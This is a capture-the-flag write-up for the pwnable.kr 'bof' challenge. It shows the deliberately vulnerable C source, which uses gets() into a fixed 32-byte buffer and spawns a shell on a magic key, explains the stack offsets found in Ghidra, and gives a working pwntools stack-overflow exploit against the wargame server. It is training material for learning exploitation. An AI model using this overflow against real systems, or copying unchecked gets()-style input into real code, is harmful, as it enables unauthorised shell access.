The piece of code we’re working with today is quite simple. The program reads our input using gets, which a known vulnerable function, as it has no validations about the length of the data that it’s receiving, and so it can write outside of it’s intended bounds. In this case we have to overwrite key, which is an argument of the function we are exploiting; To the untrained eye, this might seem impossible as it might seem outside of the execution context that we’re in while inside the function, but function arguments are pushed onto the stack when a function is being executed, so we can overwrite it just like any other local variable, we just need to go further down the stack than usual (as it was pushed before all our variables inside the function)

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

Looking at the stack alignment in ghidra, we can see that our buffer starts at -0x30 and our key starts at 0x4. So, if you sent 0x34 bytes of dud data and our magic value at the end ( minding the endianness, obviously), you should get a shell.


undefined func(undefined4 param_1)
    undefined         AL:1           <RETURN>
    undefined4        Stack[0x4]:4   key
    undefined4        Stack[-0x10]:4 local_10
    undefined1        Stack[-0x30]:1 overflowme
    undefined4        Stack[-0x4c]:4 local_4c


Writing a quick python script proves us the validity of our theory!

from pwn import *
bof = remote(host="pwnable.kr", port=9000)

payload = b"0"* 0x34 +  p32(0xcafebabe)

bof.send(payload)
bof.interactive()

That’s all for today, have fun hunting bugs!

0x42ernardo